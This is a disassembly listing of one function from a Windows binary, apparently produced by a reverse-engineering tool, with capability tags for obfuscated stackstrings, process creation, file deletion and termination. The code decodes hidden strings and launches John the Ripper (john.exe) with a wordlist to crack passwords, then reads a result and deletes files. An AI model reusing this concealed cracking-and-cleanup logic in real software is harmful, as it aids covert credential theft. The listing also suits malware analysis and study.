Function at 0x402260
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Delete file
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x5e0
mov eax, dword [0x45a080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebx + 8]
push esi
push edi
push 0x96
mov dword [ebp - 0x588], eax
mov esi, edx
lea eax, [ebp - 0x128]
mov dword [ebp - 0x584], ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov edi, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 0xc
cmp dword [0x45ad64], 5
jne 0x4022f1
xorps xmm0, xmm0
mov dword [ebp - 0xa], 0
lea eax, [ebp - 0x24]
movlpd qword [ebp - 0x1a], xmm0
push eax
movlpd qword [ebp - 0x12], xmm0
mov dword [ebp - 0x24], 0x34303731
mov dword [ebp - 0x20], 0x39353637
mov word [ebp - 0x1c], 0x3634
call edi
add esp, 4
jmp 0x4022f6
call fcn.00401980
push esi
push dword [ebp - 0x584]
lea eax, [ebp - 0x128]
push str.kerne1sdhX3_dh_x32dec_wtf__s__d_p
push eax
call fcn.00401130
add esp, 0x10
cmp dword [0x45ad64], 5
jne 0x40234d
xorps xmm0, xmm0
mov dword [ebp - 0xa], 0
lea eax, [ebp - 0x24]
movlpd qword [ebp - 0x1a], xmm0
push eax
movlpd qword [ebp - 0x12], xmm0
mov dword [ebp - 0x24], 0x34303731
mov dword [ebp - 0x20], 0x39353637
mov word [ebp - 0x1c], 0x3634
call edi
add esp, 4
jmp 0x402352
call fcn.00401610
cmp dword [0x45ad64], 0x4000000
jne 0x402391
xorps xmm0, xmm0
mov dword [ebp - 0xa], 0
lea eax, [ebp - 0x24]
movlpd qword [ebp - 0x1a], xmm0
push eax
movlpd qword [ebp - 0x12], xmm0
mov dword [ebp - 0x24], 0x34303731
mov dword [ebp - 0x20], 0x39353637
mov word [ebp - 0x1c], 0x3634
call edi
add esp, 4
jmp 0x402396
call fcn.00402790
push 0x64
lea eax, [ebp - 0x90]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
movaps xmm1, xmmword [0x458670]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [eax + str.364325341248:82842298324927626124552:152::]
psubb xmm0, xmm1
movups xmmword [ebp + eax - 0x90], xmm0
add eax, 0x10
cmp eax, 0x20
jl 0x4023b2
cmp eax, 0x2a
jge 0x4023f3
lea edx, [ebp - 0x90]
add edx, eax
lea ecx, [eax + str.364325341248:82842298324927626124552:152::]
mov al, byte [ecx]
lea edx, [edx + 1]
dec al
inc ecx
mov byte [edx - 1], al
cmp ecx, 0x457bf2
jl 0x4023e0
mov eax, dword [0x45a74c]
lea ecx, [ebp - 0x90]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402420
test dl, dl
je 0x40241c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402420
add eax, 2
add ecx, 2
test dl, dl
jne 0x402400
xor eax, eax
jmp 0x402425
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402785
xorps xmm0, xmm0
mov dword [ebp - 0x5e0], 0x44
push 0x96
push eax
lea eax, [ebp - 0x1c0]
movlpd qword [ebp - 0x5dc], xmm0
push eax
movlpd qword [ebp - 0x5d4], xmm0
movlpd qword [ebp - 0x5cc], xmm0
movlpd qword [ebp - 0x5c4], xmm0
movlpd qword [ebp - 0x5bc], xmm0
movlpd qword [ebp - 0x5b4], xmm0
movlpd qword [ebp - 0x5ac], xmm0
movlpd qword [ebp - 0x5a4], xmm0
movups xmmword [ebp - 0x598], xmm0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c0]
push esi
push dword [ebp - 0x584]
push str.kerne1sdhX3_dh_x32dec_wtf__s__d
push eax
call fcn.00401130
push 0x2bc
lea eax, [ebp - 0x580]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x1c
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x1c0]
push eax
push dword [ebp - 0x588]
lea eax, [ebp - 0x580]
push str.kerne1sdhX3_dh_x32dec_john.exe__S___session_S___wordlistresources_exp.D.X.dic___pot_S
push eax
call fcn.00401050
add esp, 0x14
cmp dword [0x45ad64], 0x4000000
jne 0x40252b
xorps xmm0, xmm0
mov dword [ebp - 0xa], 0
lea eax, [ebp - 0x24]
movlpd qword [ebp - 0x1a], xmm0
push eax
movlpd qword [ebp - 0x12], xmm0
mov dword [ebp - 0x24], 0x34303731
mov dword [ebp - 0x20], 0x39353637
mov word [ebp - 0x1c], 0x3634
call edi
add esp, 4
jmp 0x402530
call fcn.00402790
push 0x54
lea eax, [ebp - 0x80]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.2:473136636224:8]
mov eax, dword [0x45a878]
lea ecx, [ebp - 0x90]
add esp, 0xc
psubb xmm0, xmmword [0x458670]
movups xmmword [ebp - 0x90], xmm0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402581
test dl, dl
je 0x40257d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402581
add eax, 2
add ecx, 2
test dl, dl
jne 0x402561
xor eax, eax
jmp 0x402586
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402785
lea eax, [ebp - 0x598]
push eax
lea eax, [ebp - 0x5e0]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x580]
push eax
push str.kerne1sdhX3_dh_x32dec_cyggmp_11.dll
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0xffffffffffffffff
push dword [ebp - 0x598]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x598]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x594]
call esi
push 0xfa
lea eax, [ebp - 0x2c0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [0x45ad64], 0x4000000
jne 0x402636
xorps xmm0, xmm0
mov dword [ebp - 0xa], 0
lea eax, [ebp - 0x24]
movlpd qword [ebp - 0x1a], xmm0
push eax
movlpd qword [ebp - 0x12], xmm0
mov dword [ebp - 0x24], 0x34303731
mov dword [ebp - 0x20], 0x39353637
mov word [ebp - 0x1c], 0x3634
call edi
add esp, 4
jmp 0x40263b
call fcn.00402790
push 0x64
lea eax, [ebp - 0x90]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
movaps xmm1, xmmword [0x458670]
add esp, 0xc
xor eax, eax
nop word [eax + eax]
movups xmm0, xmmword [eax + str.364325341248:82842298324927626124552:152::]
psubb xmm0, xmm1
movups xmmword [ebp + eax - 0x90], xmm0
add eax, 0x10
cmp eax, 0x20
jl 0x402660
cmp eax, 0x2a
jge 0x4026a3
lea edx, [ebp - 0x90]
add edx, eax
lea ecx, [eax + str.364325341248:82842298324927626124552:152::]
nop
mov al, byte [ecx]
lea edx, [edx + 1]
dec al
inc ecx
mov byte [edx - 1], al
cmp ecx, 0x457bf2
jl 0x402690
mov eax, dword [0x45a74c]
lea ecx, [ebp - 0x90]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4026d0
test dl, dl
je 0x4026cc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4026d0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4026b0
xor eax, eax
jmp 0x4026d5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402785
lea eax, [ebp - 0x128]
push 0x457fe8
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402770
push esi
lea eax, [ebp - 0x2c0]
push 0xf9
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
add esp, 0xc
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea eax, [ebp - 0x2c0]
push 0x20
push eax
call dword [sym.imp.VCRUNTIME140.dll_strchr]
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 8
test eax, eax
je 0x402760
mov byte [eax], 0
lea eax, [ebp - 0x128]
push eax
call esi
add esp, 4
test eax, eax
jne 0x402737
lea eax, [ebp - 0x2c0]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044aca5
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
lea eax, [ebp - 0x128]
push eax
call esi
add esp, 4
test eax, eax
jne 0x402760
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0044aca5
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3